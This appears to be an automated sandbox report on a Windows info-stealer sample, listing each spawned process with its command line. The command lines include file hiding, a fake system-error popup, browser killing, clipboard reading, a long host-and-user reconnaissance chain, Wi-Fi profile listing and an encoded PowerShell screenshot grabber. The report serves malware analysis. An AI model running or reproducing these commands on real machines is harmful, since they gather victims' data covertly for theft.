Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:54:02
Start date:	18/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe"
Imagebase:	0x7ff7fd4d0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	08:54:02
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()""
Imagebase:	0x7ff76b820000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	08:54:02
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "taskkill /F /IM chrome.exe"
Imagebase:	0x7ff76b820000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	08:54:02
Start date:	18/12/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"
Imagebase:	0x7ff6e0ac0000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	08:54:02
Start date:	18/12/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /F /IM chrome.exe
Imagebase:	0x7ff65f730000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	08:54:06
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff76b820000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	08:54:06
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
Imagebase:	0x7ff76b820000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	08:54:06
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "chcp"
Imagebase:	0x7ff76b820000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	08:54:06
Start date:	18/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff7c0a20000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	08:54:06
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "chcp"
Imagebase:	0x7ff76b820000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 4276, Parent PID: 904

General

Target ID:	20
Start time:	08:54:06
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe Get-Clipboard
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	08:54:06
Start date:	18/12/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp
Imagebase:	0x7ff664910000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	08:54:06
Start date:	18/12/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp
Imagebase:	0x7ff664910000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	08:54:07
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
Imagebase:	0x7ff76b820000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	08:54:07
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
Imagebase:	0x7ff76b820000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	08:54:07
Start date:	18/12/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	systeminfo
Imagebase:	0x7ff7c8080000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	08:54:07
Start date:	18/12/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profiles
Imagebase:	0x7ff6fe630000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	08:54:08
Start date:	18/12/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6ef0c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	08:54:08
Start date:	18/12/2024
Path:	C:\Windows\System32\HOSTNAME.EXE
Wow64 process (32bit):	false
Commandline:	hostname
Imagebase:	0x7ff7cd800000
File size:	14'848 bytes
MD5 hash:	33AFAA43B84BDEAB12E02F9DBD2B2EE0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	08:54:08
Start date:	18/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic logicaldisk get caption,description,providername
Imagebase:	0x7ff67e980000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	08:54:11
Start date:	18/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net user
Imagebase:	0x7ff79bd40000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	08:54:11
Start date:	18/12/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 user
Imagebase:	0x7ff688670000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	08:54:11
Start date:	18/12/2024
Path:	C:\Windows\System32\query.exe
Wow64 process (32bit):	false
Commandline:	query user
Imagebase:	0x7ff6d82a0000
File size:	17'408 bytes
MD5 hash:	29043BC0B0F99EAFF36CAD35CBEE8D45
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	08:54:11
Start date:	18/12/2024
Path:	C:\Windows\System32\quser.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\quser.exe"
Imagebase:	0x7ff7e2050000
File size:	25'600 bytes
MD5 hash:	480868AEBA9C04CA04D641D5ED29937B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	08:54:12
Start date:	18/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net localgroup
Imagebase:	0x7ff79bd40000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	08:54:12
Start date:	18/12/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 localgroup
Imagebase:	0x7ff688670000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	08:54:12
Start date:	18/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net localgroup administrators
Imagebase:	0x7ff79bd40000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	08:54:13
Start date:	18/12/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 localgroup administrators
Imagebase:	0x7ff688670000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	08:54:13
Start date:	18/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net user guest
Imagebase:	0x7ff79bd40000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	08:54:13
Start date:	18/12/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 user guest
Imagebase:	0x7ff688670000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	08:54:14
Start date:	18/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net user administrator
Imagebase:	0x7ff79bd40000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	08:54:14
Start date:	18/12/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 user administrator
Imagebase:	0x7ff688670000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	08:54:15
Start date:	18/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic startup get caption,command
Imagebase:	0x7ff67e980000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	08:54:15
Start date:	18/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /svc
Imagebase:	0x7ff7c0a20000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	08:54:16
Start date:	18/12/2024
Path:	C:\Windows\System32\ipconfig.exe
Wow64 process (32bit):	false
Commandline:	ipconfig /all
Imagebase:	0x7ff64bed0000
File size:	35'840 bytes
MD5 hash:	62F170FB07FDBB79CEB7147101406EB8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	08:54:16
Start date:	18/12/2024
Path:	C:\Windows\System32\ROUTE.EXE
Wow64 process (32bit):	false
Commandline:	route print
Imagebase:	0x7ff680510000
File size:	24'576 bytes
MD5 hash:	3C97E63423E527BA8381E81CBA00B8CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	08:54:16
Start date:	18/12/2024
Path:	C:\Windows\System32\ARP.EXE
Wow64 process (32bit):	false
Commandline:	arp -a
Imagebase:	0x7ff6e62a0000
File size:	26'624 bytes
MD5 hash:	2AF1B2C042B83437A4BE82B19749FA98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	08:54:16
Start date:	18/12/2024
Path:	C:\Windows\System32\NETSTAT.EXE
Wow64 process (32bit):	false
Commandline:	netstat -ano
Imagebase:	0x7ff6b0160000
File size:	39'936 bytes
MD5 hash:	7FDDD6681EA81CE26E64452336F479E6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	08:54:17
Start date:	18/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc query type= service state= all
Imagebase:	0x7ff779da0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	08:54:17
Start date:	18/12/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh firewall show state
Imagebase:	0x7ff6fe630000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	08:54:17
Start date:	18/12/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh firewall show config
Imagebase:	0x7ff6fe630000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	08:54:20
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Imagebase:	0x7ff76b820000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: WMIC.exePID: 4832, Parent PID: 6408

General

Target ID:	53
Start time:	08:54:20
Start date:	18/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic csproduct get uuid
Imagebase:	0x7ff67e980000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	08:54:21
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAiAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAiACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAHMAYwByAGUAZQBuAHMAaABvAHQAKABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdACQAYgBvAHUAbgBkAHMALAAgACQAcABhAHQAaAApACAAewANAAoAIAAgACAAJABiAG0AcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACAAJABiAG8AdQBuAGQAcwAuAHcAaQBkAHQAaAAsACAAJABiAG8AdQBuAGQAcwAuAGgAZQBpAGcAaAB0AA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAbQBwACkADQAKAA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoACQAYgBvAHUAbgBkAHMALgBMAG8AYwBhAHQAaQBvAG4ALAAgAFsARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdABdADoAOgBFAG0AcAB0AHkALAAgACQAYgBvAHUAbgBkAHMALgBzAGkAegBlACkADQAKAA0ACgAgACAAIAAkAGIAbQBwAC4AUwBhAHYAZQAoACQAcABhAHQAaAApAA0ACgANAAoAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAIAAgACAAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA0ACgB9AA0ACgANAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdADoAOgBGAHIAbwBtAEwAVABSAEIAKAAwACwAIAAwACwAIAAxADkAMgAwACwAIAAxADAAOAAwACkADQAKACQAcABhAHQAaAAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQAgAC4AKQAuAEYAdQBsAGwATgBhAG0AZQArACIAXABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AcABuAGcAIgANAAoAcwBjAHIAZQBlAG4AcwBoAG8AdAAgACQAYgBvAHUAbgBkAHMAIAAkAHAAYQB0AGgA"
Imagebase:	0x7ff76b820000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	08:54:21
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAiAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAiACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAHMAYwByAGUAZQBuAHMAaABvAHQAKABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdACQAYgBvAHUAbgBkAHMALAAgACQAcABhAHQAaAApACAAewANAAoAIAAgACAAJABiAG0AcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACAAJABiAG8AdQBuAGQAcwAuAHcAaQBkAHQAaAAsACAAJABiAG8AdQBuAGQAcwAuAGgAZQBpAGcAaAB0AA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAbQBwACkADQAKAA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoACQAYgBvAHUAbgBkAHMALgBMAG8AYwBhAHQAaQBvAG4ALAAgAFsARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdABdADoAOgBFAG0AcAB0AHkALAAgACQAYgBvAHUAbgBkAHMALgBzAGkAegBlACkADQAKAA0ACgAgACAAIAAkAGIAbQBwAC4AUwBhAHYAZQAoACQAcABhAHQAaAApAA0ACgANAAoAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAIAAgACAAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA0ACgB9AA0ACgANAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdADoAOgBGAHIAbwBtAEwAVABSAEIAKAAwACwAIAAwACwAIAAxADkAMgAwACwAIAAxADAAOAAwACkADQAKACQAcABhAHQAaAAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQAgAC4AKQAuAEYAdQBsAGwATgBhAG0AZQArACIAXABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AcABuAGcAIgANAAoAcwBjAHIAZQBlAG4AcwBoAG8AdAAgACQAYgBvAHUAbgBkAHMAIAAkAHAAYQB0AGgA
Imagebase:	0x7ff6068e0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	08:54:29
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Imagebase:	0x7ff76b820000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: WMIC.exePID: 2748, Parent PID: 2520

General

Target ID:	58
Start time:	08:54:29
Start date:	18/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic csproduct get uuid
Imagebase:	0x7ff67e980000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00007FF753231125 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2594415257.00007FF753231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF753230000, based on PE: true

Associated: 00000000.00000002.2594374721.00007FF753230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2594464533.00007FF75324D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2594497654.00007FF75324E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2594534161.00007FF753252000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2594572172.00007FF753254000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2594572172.00007FF753270000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2594572172.00007FF753273000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2594572172.00007FF753278000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2594774294.00007FF75327B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2594774294.00007FF753C7B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff753230000_roblox.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0223baef4331ed4ed1a8c7beb13d382d990cc06f23f219c2883b323266e75979
Instruction ID: a64601273c8216e7aaa36edbee79bfdb29688bf07f26153dd3e5121dfb904bc3
Opcode Fuzzy Hash: 0223baef4331ed4ed1a8c7beb13d382d990cc06f23f219c2883b323266e75979
Instruction Fuzzy Hash: 9CC04C75A28A46D9F3407F66C8053A877756B40F44F984031D9085BBA2DA7CA5065B20

Analysis Process: stub.exePID: 1892, Parent PID: 6600COMMON

Execution Graph

Execution Coverage:	0.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	13
Total number of Limit Nodes:	2

Executed Functions

Function 00007FF8A7DE55F1 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memmove.VCRUNTIME140 ref: 00007FF8A7EA16EC

Strings

..\s\crypto\asn1\tasn_utl.c, xrefs: 00007FF8A7EA167A, 00007FF8A7EA1697, 00007FF8A7EA16AE

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
